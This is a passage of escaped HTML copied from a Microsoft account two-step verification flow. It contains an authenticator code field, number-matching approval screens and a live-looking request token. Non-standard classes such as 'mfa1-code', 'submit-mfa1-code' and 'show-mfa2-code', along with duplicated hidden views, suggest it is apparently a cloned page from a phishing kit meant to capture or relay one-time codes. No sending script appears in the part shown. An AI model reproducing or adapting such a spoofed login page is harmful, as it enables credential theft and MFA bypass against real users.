MS4xNTYsMy41MzgsMy41MzgsMCwwLDEtLjA1NS42NDEsMy43LDMuNywwLDAsMS0uMTQ4LjU2MywzLjQzOSwzLjQzOSwwLDAsMS0uNTYyLjk1Myw3LjIsNy4yLDAsMCwxLS44LjhxLS4yMTkuMTcyLS40NTMuMzQ0dC0uNDg0LjM0NGwtLjMyLjIzNHEtLjE0OC4xMDktLjMuMjM0LS4xNTYuMTA5LS4yODkuMjE5dC0uMjU4LjIxOXEtLjEwOS4xMjUtLjIuMjI3dC0uMTY0LjIxMWEuNzYzLjc2MywwLDAsMC0uMTQxLjQwNk0yNy44MjgsMjguNVYyNi42MjVhMy44MzUsMy44MzUsMCwwLDAsMi4zLjcxOSwyLjEyOCwyLjEyOCwwLDAsMCwxLjMtLjM1OSwxLjIsMS4yLDAsMCwwLC40NTMtMSwxLjEyNiwxLjEyNiwwLDAsMC0uNTYyLTEsMy4wMjYsMy4wMjYsMCwwLDAtMS41NzgtLjM1OWgtLjkwNlYyMi45NjloLjg0NHExLjkwNiwwLDEuOTA2LTEuMjY2LDAtMS4yLTEuNDY5LTEuMmEzLjMsMy4zLDAsMCwwLTEuOTA2LjY0MVYxOS4zNzVhNS4zMTYsNS4zMTYsMCwwLDEsMi40MDYtLjUxNiwzLjYzMSwzLjYzMSwwLDAsMSwyLjM0NC42NzIsMi4xNzUsMi4xNzUsMCwwLDEsLjgyOCwxLjc1LDIuMjcxLDIuMjcxLDAsMCwxLTEuOTUzLDIuNDA2di4wNDdhMi42LDIuNiwwLDAsMSwxLjY0MS43NSwyLjE0NCwyLjE0NCwwLDAsMSwuNjA5LDEuNTMxLDIuNjU1LDIuNjU1LDAsMCwxLTEsMi4xNzJBNC4zLDQuMywwLDAsMSwzMC4zLDI5LDUuMzY1LDUuMzY1LDAsMCwxLDI3LjgyOCwyOC41WiIgZmlsbD0iIzQwNDA0MCIvPjwvc3ZnPg==" data-bind="imgSrc, css: { \\'small\\': small }" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48cmVjdCB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIGZpbGw9Im5vbmUiLz48cGF0aCBkPSJNMzgsMTRIMTBWMzRIMzhWMTRtMiwyMkg4VjEySDQwVjM2TTE3LjY4OCwxOC44VjI4LjgyOEgxNS41MzFWMjEuMjM0YTMuMiwzLjIsMCwwLDEtLjY3Mi40M2wtLjI2Ni4xMTdhMi41NSwyLjU1LDAsMCwxLS41NjIuMTg4LDIuNDIzLDIuNDIzLDAsMCwxLS4zLjA3cS0uMTQxLjAyMy0uMjgxLjA1NVYyMC4yNjZxLjQyMi0uMTI1LjgxMy0uMjgxdC43NjYtLjM0NGE4LjI1Myw4LjI1MywwLDAsMCwxLjM0NC0uODQ0aDEuMzEzbTQuNTMxLDguMjM0aDQuMTU2djEuOEgxOS44NTl2LS43NWEzLjI5MiwzLjI5MiwwLDAsMSwuMjUtMS4zNDQsNC4xODMsNC4xODMsMCwwLDEsLjYyNS0xLjA3OCw1LjcsNS43LDAsMCwxLC44NDQtLjgyOHEuMjE5LS4xODcuNDM4LS4zNTJ0LjQyMi0uMzJxLjQ1My0uMzEyLjc2Ni0uNTc4YTIuNTkzLDIuNTkzLDAsMCwwLC4zLS4yODFsLjI1LS4yODFhMy4xNDgsMy4xNDgsMCwwLDAsLjMyOC0uNTYyLDEuNTksMS41OSwwLDAsMCwuMTA5LS42MDksMS4xNzYsMS4xNzYsMCwwLDAtLjM1OS0uOTM3LDEuNTUyLDEuNTUyLDAsMCwwLTEuMDc4LS4zMjgsMy42MjUsMy42MjUsMCwwLDAtMi40MjIsMVYxOS42ODhhNC44NjYsNC44NjYsMCwwLDEsMS4zNTktLjYyNSw1LjU0OCw1LjU0OCwwLDAsMSwxLjUxNi0uMiw0LjQ1Niw0LjQ1NiwwLDAsMSwxLjM0NC4xODgsMi40NjEsMi40NjEsMCwwLDEsMSwuNTYzLDIuMjQyLDIuMjQyLDAsMCwxLC42MjUuODc1LDMuMDA3LDMuMDA3LDAsMCwxLC4yMTksMS4xNTYsMy41MzgsMy41MzgsMCwwLDEtLjA1NS42NDEsMy43LDMuNywwLDAsMS0uMTQ4LjU2MywzLjQzOSwzLjQzOSwwLDAsMS0uNTYyLjk1Myw3LjIsNy4yLDAsMCwxLS44LjhxLS4yMTkuMTcyLS40NTMuMzQ0dC0uNDg0LjM0NGwtLjMyLjIzNHEtLjE0OC4xMDktLjMuMjM0LS4xNTYuMTA5LS4yODkuMjE5dC0uMjU4LjIxOXEtLjEwOS4xMjUtLjIuMjI3dC0uMTY0LjIxMWEuNzYzLjc2MywwLDAsMC0uMTQxLjQwNk0yNy44MjgsMjguNVYyNi42MjVhMy44MzUsMy44MzUsMCwwLDAsMi4zLjcxOSwyLjEyOCwyLjEyOCwwLDAsMCwxLjMtLjM1OSwxLjIsMS4yLDAsMCwwLC40NTMtMSwxLjEyNiwxLjEyNiwwLDAsMC0uNTYyLTEsMy4wMjYsMy4wMjYsMCwwLDAtMS41NzgtLjM1OWgtLjkwNlYyMi45NjloLjg0NHExLjkwNiwwLDEuOTA2LTEuMjY2LDAtMS4yLTEuNDY5LTEuMmEzLjMsMy4zLDAsMCwwLTEuOTA2LjY0MVYxOS4zNzVhNS4zMTYsNS4zMTYsMCwwLDEsMi40MDYtLjUxNiwzLjYzMSwzLjYzMSwwLDAsMSwyLjM0NC42NzIsMi4xNzUsMi4xNzUsMCwwLDEsLjgyOCwxLjc1LDIuMjcxLDIuMjcxLDAsMCwxLTEuOTUzLDIuNDA2di4wNDdhMi42LDIuNiwwLDAsMSwxLjY0MS43NSwyLjE0NCwyLjE0NCwwLDAsMSwuNjA5LDEuNTMxLDIuNjU1LDIuNjU1LDAsMCwxLTEsMi4xNzJBNC4zLDQuMywwLDAsMSwzMC4zLDI5LDUuMzY1LDUuMzY1LDAsMCwxLDI3LjgyOCwyOC41WiIgZmlsbD0iIzQwNDA0MCIvPjwvc3ZnPg=="><!-- /ko -->
<!-- /ko --><!-- /ko -->
<!-- /ko -->

<!-- ko if: type === PROOF.Type.FidoKey --><!-- /ko -->

<!-- ko if: type === PROOF.Type.AccessPass --><!-- /ko --></div>
    <div id="idDiv_SAOTCC_Description" class="text-block-body overflow-hidden" data-bind="text: description">Enter the code displayed in the Microsoft Authenticator app on your mobile device​</div>
</div>

<div class="text-block-body">
    <div id="idDiv_SAOTCC_OTCRow" class="form-group">
        <div role="alert" class="mfa-error" aria-live="assertive" style="display:none;">
				
            <!-- ko if: error -->
            <div class="row">
                <div id="idDiv_SAOTCC_ErrorMsg_OTC" class="alert alert-error first">
                    <span id="idSpan_SAOTCC_Error_OTC" data-bind="html: error">You didn\\'t enter the expected verification code. Please try again.</span>
                    <!-- ko if: svr.fShowViewDetailsLink -->
                    <a id="ViewDetails" class="no-wrap" href="#" data-bind="
                        text: str[\\'CT_STR_Error_ViewDetails\\'],
                        clickExpr: onShowDebugDetails(debugDetails, true),
                        ariaLabel: str[\\'CT_STR_Error_ViewDetailsAriaLabel\\']" aria-label="View debugging details for this error">View details</a>
                    <!-- /ko -->
                </div>
            </div>
            <!-- /ko -->
        
        </div>
        <div id="idDiv_SAOTCC_Success_OTC" class="errorDiv" style="display: none;">
            <span id="idSpan_SAOTCC_Success_OTC" class="success"></span>
        </div>
        <!-- ko ifnot: twoWayPollingNeeded || hideInputControls() -->
        <div id="idDiv_SAOTCC_OTC" class="textbox form-group">
            <div class="placeholderContainer" data-bind="component: { name: \\'placeholder-textbox-field\\',
                publicMethods: otcInputTextbox.placeholderTextboxMethods,
                params: {
                    serverData: svr,
                    hintText: str[\\'CT_SAOTCC_STR_OTC_TBHint\\'] },
                event: {
                    updateFocus: otcInputTextbox.textbox_onUpdateFocus } }"><!-- ko withProperties: { \\'$placeholderText\\': placeholderText } -->
    <!-- ko template: { nodes: $componentTemplateNodes, data: $parent } -->

                <input id="idTxtBx_SAOTCC_OTC" name="mfa1-code" class="mfa1-code form-control" type="tel" autocomplete="off" aria-required="true" data-bind="
                    attr: {
                        \\'maxlength\\': otcLength,
                        \\'aria-labelledby\\': \\'idDiv_SAOTCC_Title\\',
                        \\'aria-describedby\\': \\'idDiv_SAOTCS_Title idDiv_SAOTCC_Description idSpan_SAOTCC_Error_OTC\\' },
                    css: { \\'has-error\\': error },
                    textInput: otcInputTextbox.value,
                    ariaLabel: str[\\'CT_SAOTCC_STR_OTC_TBHint\\'],
                    hasFocusEx: otcInputTextbox.focused,
                    placeholder: $placeholderText" maxlength="6" aria-labelledby="idDiv_SAOTCC_Title" aria-describedby="idDiv_SAOTCS_Title idDiv_SAOTCC_Description idSpan_SAOTCC_Error_OTC" aria-label="Code" placeholder="Code">
            <!-- /ko -->
<!-- /ko -->
<!-- ko ifnot: usePlaceholderAttribute --><!-- /ko --></div>
        </div>

        <!-- ko if: twoFactorAuthPinEnabled --><!-- /ko -->
        <!-- /ko -->
    </div>
</div>
<div class="text-block-body text-body" data-bind="visible: showSendNotification" style="display: none;">
    <a id="idA_SAOTCC_SendNotification" href="#" data-bind="html: str[\\'CT_SAOTCC_STR_SendNotification\\'], click: switchToSessionApproval_onClick">Send an identity verification request to my Microsoft Authenticator app.</a>
</div>

<div data-bind="css: { \\'position-buttons\\': !tenantBranding.BoilerPlateText &amp;&amp; !twoWayPollingNeeded }">
    <div class="row">
        <div id="idDiv_SAOTCC_TD_Section" class="no-margin-top-bottom" data-bind="visible: tdCheckbox.isShown &amp;&amp; !hideInputControls()">
            <div id="idDiv_SAOTCC_TD" class="col-md-24 form-group no-margin-top checkbox">
                <label id="idLbl_SAOTCC_TD_Cb">
                    <input id="idChkBx_SAOTCC_TD" type="checkbox" value="true" data-bind="checked: tdCheckbox.isChecked, disable: tdCheckbox.isDisabled, ariaLabel: str[\\'CT_SAOTCC_STR_AddTD\\'], attr: { name: svr.sTrustedDeviceCheckboxName }" name="rememberMFA" aria-label="Don\\'t ask again for 30 days">
                    <span data-bind="text: str[\\'CT_SAOTCC_STR_AddTD\\']">Don\\'t ask again for 30 days</span>
                </label>
            </div>
        </div>

        <!-- ko if: isInitialState || svr.urlMoreInfo -->
        <div class="col-md-24">
            <div class="text-13">
                <!-- ko if: isInitialState && showSwitchProofsLink -->
                <div class="form-group" id="idDiv_SAOTCS_HavingTrouble" data-bind="
                        htmlWithBindings: str[\\'CT_SAOTCC_STR_Toggle\\'],
                        childBindings: { \\'signInAnotherWay\\': { click: switchToOtcRequest_onClick } }">Having trouble? <a href="#" id="signInAnotherWay">Sign in another way</a></div>
                <!-- /ko -->
                <!-- ko if: svr.urlMoreInfo -->
                <div data-bind="css: { \\'form-group\\': !twoWayPollingNeeded }" class="form-group">
                    <a id="moreInfoUrl" target="_blank" href="<https://go.microsoft.com/fwlink/p/?LinkId=708614>" data-bind="
                            text: str[\\'CT_STR_More_Info\\'],
                            href: svr.urlMoreInfo,
                            ariaLabel: str[\\'CT_STR_More_Info_AriaLabel\\']" aria-label="More information about two step verification">More information</a>
                </div>
                <!-- /ko -->
            </div>
        </div>
        <!-- /ko -->
    </div>
</div>

<div class="win-button-pin-bottom boilerplate-button-bottom" data-bind="css : { \\'boilerplate-button-bottom\\': tenantBranding.BoilerPlateText }">
    <div class="row move-buttons" data-bind="css: { \\'move-buttons\\': tenantBranding.BoilerPlateText }">
        <div data-bind="component: { name: \\'footer-buttons-field\\',
            params: {
                serverData: svr,
                removeBottomMargin: true,
                primaryButtonId: \\'idSubmit_SAOTCC_Continue\\',
                primaryButtonText: str[\\'CT_SAOTCC_STR_Continue\\'],
                secondaryButtonId: \\'idBtn_Back\\',
                secondaryButtonText: str[\\'CT_SAOTCC_STR_Cancel\\'],
                isSecondaryButtonVisible: !showSwitchProofsLink,
                isPrimaryButtonVisible: svr.fShowButtons &amp;&amp; !twoWayPollingNeeded &amp;&amp; !hideInputControls(),
                secondaryButtonDescribedBy: (svr.fShowButtons &amp;&amp; twoWayPollingNeeded) ? \\'idDiv_SAOTCC_Description\\' : null },
            event: {
                primaryButtonClick: primaryButton_onClick,
                secondaryButtonClick: secondaryButton_onClick } }"><div class="col-xs-24 no-padding-left-right button-container no-margin-bottom" data-bind="
    visible: isPrimaryButtonVisible() || isSecondaryButtonVisible(),
    css: { \\'no-margin-bottom\\': removeBottomMargin }">

    <!-- ko if: isSecondaryButtonVisible --><!-- /ko -->

    <div data-bind="css: { \\'inline-block\\': isPrimaryButtonVisible }" class="inline-block">
        <!-- type="submit" is needed in-addition to \\'type\\' in primaryButtonAttributes observable to support IE8 -->
        <input type="submit" id="idSubmit_SAOTCC_Continue" class="submit-mfa1-code btn btn-block btn-primary" data-report-event="Signin_Submit" data-report-trigger="click" data-report-value="Submit" data-bind="
                attr: primaryButtonAttributes,
                externalCss: {
                    \\'button\\': true,
                    \\'primary\\': true },
                value: primaryButtonText() || str[\\'CT_PWD_STR_SignIn_Button_Next\\'],
                hasFocus: focusOnPrimaryButton,
                click: primaryButton_onClick,
                enable: isPrimaryButtonEnabled,
                visible: isPrimaryButtonVisible,
                preventTabbing: primaryButtonPreventTabbing" value="Verify">
    </div>
</div></div>
    </div>
</div>

<!-- ko if: tenantBranding.BoilerPlateText -->
<div id="idBoilerPlateText" class="wrap-content boilerplate-text" data-bind="
    htmlWithMods: tenantBranding.BoilerPlateText,
    htmlMods: { filterLinks: svr.fIsHosted },
    css: { \\'transparent-lightbox\\': tenantBranding.UseTransparentLightBox }"><p></p>
</div>
<!-- /ko --></div><!-- /ko -->
            <!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        <!-- /ko -->
    </div>
	
	
	<div style="display:none;" class="show-mfa2-code pagination-view animate has-identity-banner slide-in-next" data-bind="css: {
        \\'has-identity-banner\\': showIdentityBanner() &amp;&amp; (sharedData.displayName || svr.sPOST_Username),
        \\'zero-opacity\\': hidePaginatedView.hideSubView(),
        \\'animate\\': animate(),
        \\'slide-out-next\\': animate.isSlideOutNext(),
        \\'slide-in-next\\': animate.isSlideInNext(),
        \\'slide-out-back\\': animate.isSlideOutBack(),
        \\'slide-in-back\\': animate.isSlideInBack() }">

        <!-- ko foreach: views -->
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() -->
                <!-- ko template: { nodes: [$data], data: $parent } --><div data-viewid="6" data-showidentitybanner="true" data-bind="pageViewComponent: { name: \\'session-approval-view\\',
                    params: {
                        serverData: svr,
                        sentProof: sharedData.sentProof,
                        username: sharedData.username,
                        supportsBack: true,
                        isInitialState: isInitialState,
                        sessionIdentifier: sharedData.sessionIdentifier,
                        showCancelButton: sharedData.showCancelButton,
                        trustedDeviceCheckboxConfig: sharedData.trustedDeviceCheckboxConfig,
                        currentPollStartTime: sharedData.currentPollStartTime,
                        currentPollEndTime: sharedData.currentPollEndTime,
                        twoWayPollingNeeded: sharedData.twoWayPollingNeeded,
                        sessionApprovalError: sharedData.sessionApprovalError,
                        flowToken: sharedData.flowToken,
                        entropy: sharedData.entropy },
                    event: {
                        cancel: view_onCancel,
                        updateSessionIdentifier: $tfaPage.view_onUpdateSessionIdentifier,
                        updateFlowToken: $tfaPage.view_onUpdateFlowToken,
                        submitReady: $tfaPage.view_onSubmitReady } }"><!--  -->

<input type="hidden" name="type" data-bind="value: \\'22\\'" value="22">
<input type="hidden" name="request" data-bind="value: svr.sCtx" value="rQQIARAAhVNPiON0FG7amdrWXXcYRdcFYQ5zEDHtL_-TgQXTSTtpTdJp07TTXmr-tmmT_NImbZoePe1xTgu7F8HjHAUX2ZNe57TIgjDiHoS9DCiLIqwgaFfPiw_e4z2-9w6P7_tKBbqM02WsDD7K4WVwdEgyNEWSlIESuEmjJGcAlCVsGsUsjthCOEOb-mK_tPfogztXL_6an9x_9MdJ5Yvx0wvkYBLHYXRUqSRJUoaO45p22YR-xdMDyw3GK_wbBHmCIA-zu3aAaupFNqIJFuNIjmEIBjDcNqiy3Nco2W-QytSMW0JvoqgADLpjQtrmYNOOFcGbtASNHOByst3dKH4DyN3qTO6O4-GJRiopAMNubyp1J96gP4iHQnuj9DVii1EKLq-vsrda_DKe4K8KXLgb-7ds0YELfxTCKH6Yu5-VNPS0o2_mprNwrXlfjUN1JIta7M1I3h2P0TbXSjstDbPj1kwdUY1hkzvrBMkKBoKSduIgRKGasmq3K9Wqx2Sq6jX706ZmwGMwIacS37A5HkbTlckKq8TfEKnndL0zerhAFVZfeseaveBrbt0Z1hTLV9QqrgW4gU3Mdl2wzupA9JUYzjbSNPTloL0eUJbcJtl-yAhcbwQ3rqoOxMnohMeY3nriEAE_5cmZVx14YTNYAFpfU9W1ZbUEpaaLXg_U6jVqZttiY15fSpQYhHgNN22DTano1AMY1mkqSbU5k8YXufdfQ-8K_yqX3zY-DB7nDh2a4TDOMFDMxkyUpG0cNXBORwFDW6TjEIClycscA0M7cK2DcAEd17Nfp5wVXmn9O4nQt8u85_2cO9RNEy6D-JPQ09Mtb5aj-66X-rblmrr36qqsL5_sINc77xbye3duIweZD98BuaNCobSXuZ05yLzcQb7c3er3wU-_fvfen_nGvd4Pb54_72cudytBAjW-FzWHHVZqKkHLT4xVsuhFIhltYgOslWXYXrM9STGSu-wRdp5HzvP5y3yxIYyUWpcegRf57L03kMfF_3XC5zduFjL7xWLhuvjZ750fxasbb5dKS3fkwe0TdrT_n0O-vZl5-db3fz949vWzp7-I17c-5vlUIsS1R3B9UuKI-lnod6CT6LLextWwwhjD-SkTrQTsOLn7Dw2">
<input type="hidden" name="mfaLastPollStart" data-bind="value: currentPollStartTime" value="1683900946358">
<input type="hidden" name="mfaLastPollEnd" data-bind="value: currentPollEndTime" value="1683900947657">

<!-- ko if: twoWayPollingNeeded -->
    <!-- ko if: isCompanionApp --><!-- /ko -->

    <!-- ko ifnot: isCompanionApp -->
        <input type="hidden" data-bind="attr: { name: svr.sAuthMethodInputFieldName }, value: \\'PhoneAppNotification\\'" name="mfaAuthMethod" value="PhoneAppNotification">
    <!-- /ko -->
<!-- /ko -->

<div id="idDiv_SAOTCAS_Title" class="row text-title" role="heading" aria-level="1" data-bind="text: title">Approve sign in request</div>
<div class="row text-body">
    <div data-bind="component: { name: \\'proof-image-control\\', params: { type: PROOF.Type.TOTPAuthenticatorV2, small: true, animate: true } }"><!--  -->

<!-- ko if: type === PROOF.Type.Email --><!-- /ko -->

<!-- ko if: type === PROOF.Type.SMS || type === PROOF.Type.TwoWaySMS || type === PROOF.Type.TwoWaySMSAlternateMobile --><!-- /ko -->

<!-- ko if: type === PROOF.Type.Voice || type === PROOF.Type.TwoWayVoice || type === PROOF.Type.TwoWayVoiceAlternateMobile || type === PROOF.Type.TwoWayVoiceOffice --><!-- /ko -->

<!-- ko if: type === PROOF.Type.TOTPAuthenticatorV2 -->
    <!-- ko component: \\'accessible-image-control\\' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img class="tile-img small animate-pulse" role="presentation" pngsrc="<https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_authenticator_942ac71f77cb04004b0ab25950e170b5.png>" svgsrc="<https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg>" data-bind="imgSrc, css: { \\'small\\': small, \\'animate-pulse\\': animate }" src="<https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg>"><!-- /ko -->
<!-- /ko --><!-- /ko -->
<!-- /ko -->

<!-- ko if: type === PROOF.Type.TOTPAuthenticator --><!-- /ko -->

<!-- ko if: type === PROOF.Type.FidoKey --><!-- /ko -->

<!-- ko if: type === PROOF.Type.AccessPass --><!-- /ko -->

<!-- ko if: type === PROOF.Type.Certificate --><!-- /ko -->

<!-- ko if: svr.fDisplayCompanionApp -->
    <!-- ko if: type === PROOF.Type.CompanionApp --><!-- /ko -->
<!-- /ko --></div>
    <div class="text-block-body overflow-hidden">
        <div id="idDiv_SAOTCAS_Description" data-bind="htmlWithBindings: description, childBindings: { \\'idSpan_SAOTCAS_DescSessionID\\': { css: { \\'bold\\': true } } }">Open your Authenticator app, and enter the number shown to sign in.</div>
        <!-- ko if: description2 --><!-- /ko -->
    </div>
</div>

<!-- ko if: displaySign -->
<div class="section">
    <div class="row text-body">
        <div id="idRichContext_DisplaySign" class="displaySign" data-bind="text: displaySign"></div>
    </div>
</div>

<div class="row text-body">
    <div class="richtext-warning" data-bind="text: str[\\'CT_SAOTCRC_STR_Missing_Numbers\\']">No numbers in your app? Make sure to upgrade to the latest version.</div>
</div>
<!-- /ko -->

<div>
    <!-- ko if: doPolling --><!-- /ko -->
</div>

<div data-bind="css: { \\'position-buttons\\': !tenantBranding.BoilerPlateText }" class="position-buttons">
    <div class="row">
        <div class="row no-margin-top-bottom" data-bind="visible: tdCheckbox.isShown" style="display: none;">
            <div class="col-md-24 form-group no-margin-top checkbox">
                <label id="idLbl_SAOTCAS_TD_Cb">
                    <!-- Set attr binding before hasFocusEx to prevent Narrator from losing focus -->
                    <input id="idChkBx_SAOTCAS_TD" type="checkbox" value="true" data-bind="
                        attr: { name: svr.sTrustedDeviceCheckboxName },
                        ariaLabel: str[\\'CT_SAOTCAS_STR_AddTD\\'],
                        ariaDescribedBy: [\\'idDiv_SAOTCAS_Title\\', \\'idDiv_SAOTCAS_Description\\'].concat(description2 ? [\\'idDiv_RichContext_Description\\'] : []).join(\\' \\'),
                        hasFocusEx: tdCheckbox.isShown,
                        checked: tdCheckbox.isChecked,
                        disable: tdCheckbox.isDisabled" name="rememberMFA" aria-label="Don\\'t ask again for undefined days" aria-describedby="idDiv_SAOTCAS_Title idDiv_SAOTCAS_Description">
                    <span data-bind="text: str[\\'CT_SAOTCAS_STR_AddTD\\']">Don\\'t ask again for undefined days</span>
                </label>
            </div>
        </div>

        <div class="row">
            <div class="col-md-24">
                <div class="text-13">
                    <!-- ko if: showSwitchProofsLink -->
                    <div id="idDiv_SAOTCS_HavingTrouble" class="form-group" data-bind="
                            css: { \\'no-margin-bottom\\': !svr.urlMoreInfo },
                            htmlWithBindings: toggleText,
                            childBindings: {
                                \\'signInAnotherWay\\': {
                                    click: switchToOtcRequest_onClick,
                                    hasFocusEx: !tdCheckbox.isShown,
                                    ariaDescribedBy: [\\'idDiv_SAOTCAS_Title\\', \\'idDiv_SAOTCAS_Description\\'].concat(description2 ? [\\'idDiv_RichContext_Description\\'] : []).join(\\' \\') } }"><a href="#" id="signInAnotherWay" aria-describedby="idDiv_SAOTCAS_Title idDiv_SAOTCAS_Description">I can\\'t use my Microsoft Authenticator app right now</a></div>
                    <!-- /ko -->

                    <!-- ko if: svr.urlMoreInfo -->
                    <div class="form-group no-margin-bottom">
                        <a id="moreInfoUrl" target="_blank" href="<https://go.microsoft.com/fwlink/p/?LinkId=708614>" data-bind="text: str[\\'CT_STR_More_Info\\'], href: svr.urlMoreInfo, ariaLabel: str[\\'CT_STR_More_Info_AriaLabel\\']" aria-label="More information about two step verification">More information</a>
                    </div>
                    <!-- /ko -->
                </div>
            </div>
        </div>
    </div>

    <div class="win-button-pin-bottom" data-bind="css : { \\'boilerplate-button-bottom\\': tenantBranding.BoilerPlateText }">
        <div class="row" data-bind="css: { \\'move-buttons\\': tenantBranding.BoilerPlateText }">
            <div data-bind="component: { name: \\'footer-buttons-field\\',
                params: {
                    serverData: svr,
                    isPrimaryButtonVisible: false,
                    isSecondaryButtonVisible: !showSwitchProofsLink,
                    secondaryButtonText: str[\\'CT_SAOTCC_STR_Cancel\\'] },
                event: {
                    secondaryButtonClick: secondaryButton_onClick } }"><div class="col-xs-24 no-padding-left-right button-container button-field-container ext-button-field-container" data-bind="
    visible: isPrimaryButtonVisible() || isSecondaryButtonVisible(),
    css: { \\'no-margin-bottom\\': removeBottomMargin },
    externalCss: { \\'button-field-container\\': true }" style="display: none;">

    <!-- ko if: isSecondaryButtonVisible --><!-- /ko -->

    <div data-bind="css: { \\'inline-block\\': isPrimaryButtonVisible }, externalCss: { \\'button-item\\': true }" class="button-item ext-button-item">
        <!-- type="submit" is needed in-addition to \\'type\\' in primaryButtonAttributes observable to support IE8 -->
        <input type="submit" id="idSIButton9" class="win-button button_primary button ext-button primary ext-primary" data-report-event="Signin_Submit" data-report-trigger="click" data-report-value="Submit" data-bind="
                attr: primaryButtonAttributes,
                externalCss: {
                    \\'button\\': true,
                    \\'primary\\': true },
                value: primaryButtonText() || str[\\'CT_PWD_STR_SignIn_Button_Next\\'],
                hasFocus: focusOnPrimaryButton,
                click: primaryButton_onClick,
                enable: isPrimaryButtonEnabled,
                visible: isPrimaryButtonVisible,
                preventTabbing: primaryButtonPreventTabbing" value="Next" style="display: none;">
    </div>
</div></div>
        </div>
    </div>
</div>

<!-- ko if: tenantBranding.BoilerPlateText --><!-- /ko --></div><!-- /ko -->
            <!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        <!-- /ko -->
    </div>
	<div style="display:none;" class="show-mfa3-code pagination-view animate has-identity-banner slide-in-next" data-bind="css: {
        \\'has-identity-banner\\': showIdentityBanner() &amp;&amp; (sharedData.displayName || svr.sPOST_Username),
        \\'zero-opacity\\': hidePaginatedView.hideSubView(),
        \\'animate\\': animate(),
        \\'slide-out-next\\': animate.isSlideOutNext(),
        \\'slide-in-next\\': animate.isSlideInNext(),
        \\'slide-out-back\\': animate.isSlideOutBack(),
        \\'slide-in-back\\': animate.isSlideInBack() }">

        <!-- ko foreach: views -->
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() --><!-- /ko -->
        
            <!-- ko if: $parent.currentViewIndex() === $index() -->
                <!-- ko template: { nodes: [$data], data: $parent } --><div data-viewid="6" data-showidentitybanner="true" data-bind="pageViewComponent: { name: \\'session-approval-view\\',
                    params: {
                        serverData: svr,
                        sentProof: sharedData.sentProof,
                        username: sharedData.username,
                        supportsBack: true,
                        isInitialState: isInitialState,
                        sessionIdentifier: sharedData.sessionIdentifier,
                        showCancelButton: sharedData.showCancelButton,
                        trustedDeviceCheckboxConfig: sharedData.trustedDeviceCheckboxConfig,
                        currentPollStartTime: sharedData.currentPollStartTime,
                        currentPollEndTime: sharedData.currentPollEndTime,
                        twoWayPollingNeeded: sharedData.twoWayPollingNeeded,
                        sessionApprovalError: sharedData.sessionApprovalError,
                        flowToken: sharedData.flowToken,
                        entropy: sharedData.entropy },
                    event: {
                        cancel: view_onCancel,
                        updateSessionIdentifier: $tfaPage.view_onUpdateSessionIdentifier,
                        updateFlowToken: $tfaPage.view_onUpdateFlowToken,
                        submitReady: $tfaPage.view_onSubmitReady } }"><!--  -->

<input type="hidden" name="type" data-bind="value: \\'22\\'" value="22">
